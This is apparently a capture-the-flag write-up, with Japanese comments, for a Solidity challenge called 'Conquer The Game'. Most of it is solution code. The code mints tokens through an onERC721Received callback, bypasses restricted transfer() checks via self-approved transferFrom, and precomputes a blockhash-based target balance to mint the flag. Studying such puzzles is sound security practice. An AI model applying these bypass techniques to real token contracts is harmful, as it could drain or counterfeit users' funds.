S2C12: Conquer The Game (RPG Multi-Contract) #

// GoldToken.transfer — HeroNFT と Dungeon のチェックあり
function transfer(address to, uint256 amount) public override returns (bool) {
    require(hero.balanceOf(msg.sender) > 0, "Insufficient NFT balance");
    require(hero.balanceOf(msg.sender) < dungeon.dungeon(tx.origin), "Wrong NFT balance");
    _transfer(msg.sender, to, amount);
    return true;
}
// GoldToken.transferFrom — ERC20 から継承、制限なし！
// 直接呼び出してすべての transfer チェックをバイパス可能

function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
    external override returns (bytes4)
{
    uint256 anotherTokenId = _toUint256(data);  // ← data から別の tokenId をデコード
    require(msg.sender == address(this));        // NFTFlags 自身のみ呼び出し可能
    require(ownerOf(anotherTokenId) == from);     // from が S2C2 token を所有している必要あり
    require(tokenIdToChallengeId[anotherTokenId] == 2); // token が S2C2 であることを検証
    require(!tokensClaimed[tokenId]);             // キャリア token が未クレーム
    safeTransferFrom(address(this), from, tokenId); // キャリア token を返却
    tokensClaimed[tokenId] = true;
    GoldContract(goldTokenAddress).mint(from);    // 1000e18 GoldToken をミント!
}

function mintFlag(uint256 tokenId) public winner rich {
    // 1. 呼び出し元からチャレンジコントラクトへ 1e18 GoldToken を引き出す
    gold.transferFrom(msg.sender, address(this), 1 ether);
    
    // 2. HeroNFT URI からインベントリ値をパース
    uint256 inventoryValue = stringToUint(hero.tokenURI(tokenId));
    inventory.setValue(inventoryValue);  // inventory[tx.origin] に書き込み
    
    // 3. ハッシュを計算
    bytes32 hash = keccak256(abi.encodePacked(
        blockhash(block.number - 1),     // 1 つ前のブロックハッシュ（トランザクション内で予測可能）
        address(this),                    // チャレンジコントラクトアドレス
        inventory.inventory(tx.origin)    // インベントリ値
    ));
    
    // 4-8. 複数チェック
    require(gold.balanceOf(msg.sender) == uint256(hash) % 100 ether); // 残高 = H
    require(balance == dungeon.getCurrentPosition());                 // 残高 = quest×dungeon
    require(gold.balanceOf(tx.origin) == gold.balanceOf(~tx.origin)); // 敵味方の残高が等しい
    require(gold.allowance(msg.sender, this) == inventory.inventory(tx.origin)); // allowance=インベントリ
    
    nftContract.mint(tx.origin, 12);  // flag をミント!
}

function stringToUint(string memory _s) public pure returns (uint256) {
    bytes memory b = bytes(_s);
    uint256 res = 0;
    for (uint256 i = 0; i < b.length; i++) {
        if (b[i] >= 0x30 && b[i] <= 0x39) {
            res = res * 10 + (uint256(uint8(b[i])) - 0x35); // 数字文字 → 数値
        } else {
            return 0;  // 非数字は直接 0 を返す
        }
    }
    return res;
}

// 1. S2C2 token (challengeId == 2) を所有していることを確認
// 2. キャリア token (任意の他の S2 NFT) が必要

// 3. safeTransferFrom を呼び出し、キャリア token を NFTFlags に送信、data に S2C2 tokenId をエンコード
//    キャリア token は返却され、S2C2 token は検証のみで転送されない
NFTFlags.safeTransferFrom(
    myAddress,       // from — S2C2 token を所有している必要あり
    NFTFlags,        // to — NFTFlags 自身（onERC721Received をトリガー）
    carrierTokenId,  // キャリア token（任意の S2 NFT）
    abi.encode(s2c2TokenId)  // data = S2C2 tokenId
);
// → GoldToken mint 1000e18 が from アドレスに

// 2a. HeroNFT をミント、URI = "5"（inventoryValue = 0 にする）
uint256 heroTokenId = hero.mint("5");

// 2b. ターゲット残高 H を計算
bytes32 hash = keccak256(abi.encodePacked(
    blockhash(block.number - 1),  // 1 つ前のブロックハッシュ
    address(challenge),           // チャレンジアドレス
    uint256(0)                    // inventoryValue = 0
));
uint256 H = uint256(hash) % 100 ether;

// transferFrom を使用して transfer 制限をバイパス
gold.approve(address(this), type(uint256).max);  // 自己承認
gold.transferFrom(goldSource, address(this), H + 1 ether + 2 ether);  // 引き出し

// 残高を分配
gold.transferFrom(address(this), address(~bytes20(tx.origin)), 1 ether); // 敵
gold.transferFrom(address(this), tx.origin, 1 ether);                     // プレイヤー

// 残高を正確に H にする
uint256 currentBalance = gold.balanceOf(address(this));
if (currentBalance > H + 1 ether) {
    gold.burn(currentBalance - H - 1 ether);
}

// 勝利条件
dungeon.setPosition(bytes32(uint256(1)));  // 非ゼロ値を設定
victory.free(true);                          // 勝利をマーク

// ダンジョン位置 = 残高 = H（balance == quest × dungeon を満たすため）
quest.setCurrentQuest(1);
dungeon.setPosition(bytes32(H));

// challenge に 1 ether の消費を承認（消費後の残り allowance = 0 = inventoryValue）
gold.approve(address(challenge), 1 ether);

// 実行！
challenge.mintFlag(heroTokenId);

function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
    _transfer(from, to, tokenId);                        // ① 最初に転送！
    _checkOnERC721Received(from, to, tokenId, data);     // ② その後コールバック
}

// GoldToken は transfer のみをオーバーライド
function transfer(address to, uint256 amount) public override returns (bool) {
    // ... カスタムチェック ...
}

// transferFrom は ERC20._transfer から継承、制限なし
// function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
//     _spendAllowance(from, msg.sender, amount);
//     _transfer(from, to, amount);  // 内部 _transfer を直接呼び出し、transfer のオーバーライドをバイパス
// }

// 誤り：transfer の制限を受ける
gold.transfer(recipient, amount);

// 正しい：自己承認 + transferFrom でバイパス
gold.approve(address(this), type(uint256).max);
gold.transferFrom(address(this), recipient, amount);

// コンストラクタまたは初期化時に自己承認
function solve(address goldSource) external {
    // 最初に自己承認が必須
    gold.approve(address(this), type(uint256).max);
    
    // その後 transferFrom を使用可能
    gold.transferFrom(goldSource, address(this), amount);
    gold.transferFrom(address(this), enemy, amount);
}